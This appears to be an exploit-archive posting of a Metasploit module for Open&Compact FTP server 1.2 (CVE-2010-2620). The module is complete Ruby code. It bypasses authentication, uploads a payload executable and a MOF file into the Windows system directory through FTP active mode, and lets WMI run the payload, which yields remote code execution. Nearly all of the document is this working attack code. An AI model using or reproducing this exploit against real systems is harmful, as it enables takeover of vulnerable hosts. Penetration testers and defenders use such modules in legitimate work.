Open-FTPD 1.2 Arbitrary File Upload Exploit

:
13.08.2013
:
Open-FTPD 1.2
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Open-FTPD 1.2 Arbitrary File Upload",
'Description' => %q{
This module exploits multiple vulnerabilities found in Open&Compact FTP
server. The software contains an authentication bypass vulnerability and a
arbitrary file upload vulnerability that allows a remote attacker to write
arbitrary files to the file system as long as there is at least one user
who has permission.

Code execution can be achieved by first uploading the payload to the remote
machine as an exe file, and then upload another mof file, which enables
WMI (Management Instrumentation service) to execute the uploaded payload.
Please note that this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Serge Gorbunov', # Initial discovery
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '65687'],
['EDB', '13932'],
['CVE', '2010-2620']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
# Tested on version 1.2 - Windows XP SP3 (EN)
['Open&Compact FTP 1.2 on Windows (Before Vista)', {}]
],
'Privileged' => true,
'DisclosureDate' => "Jun 18 2012",
'DefaultTarget' => 0))

register_options([
OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]),
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
], self.class)
deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass

end

def check
connect
disconnect

if banner =~ /\*\* Welcome on \*\*/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
end

def on_client_connect(cli)
peer = "#{cli.peerhost}:#{cli.peerport}"

case @stage
when :exe
print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
@stage = :mof
when :mof
print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
cli.put(@mof)
end

cli.close
end

# Largely stolen from freefloatftp_wbem.rb
def upload(filename)
select(nil, nil, nil, 1)

peer = "#{rhost}:#{rport}"
print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
conn = connect(false, datastore['VERBOSE'])
if not conn
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end

# Switch to binary mode
print_status("#{peer} - Set binary mode")
send_cmd(['TYPE', 'I'], true, conn)

# Prepare active mode: Get attacker's IP and source port
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
src_port = datastore['SRVPORT'].to_i

# Prepare active mode: Convert the IP and port for active mode
src_ip = src_ip.gsub(/\./, ',')
src_port = "#{src_port/256},#{src_port.remainder(256)}"

# Set to active mode
print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)

# Tell the FTP server to download our file
send_cmd(['STOR', filename], false, conn)

print_good("#{peer} - Upload successful")
disconnect(conn)
end

# Largely stolen from freefloatftp_wbem.rb
def exploit
path = datastore['PATH']
exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe"
mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
@exe = generate_payload_exe
@stage = :exe

begin
t = framework.threads.spawn("reqs", false) {
# Upload our malicious executable
u = upload(exe_name)
# Upload the mof file
upload(mof_name) if u
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
}

super
ensure
t.kill
end
end

end

CAPTCHA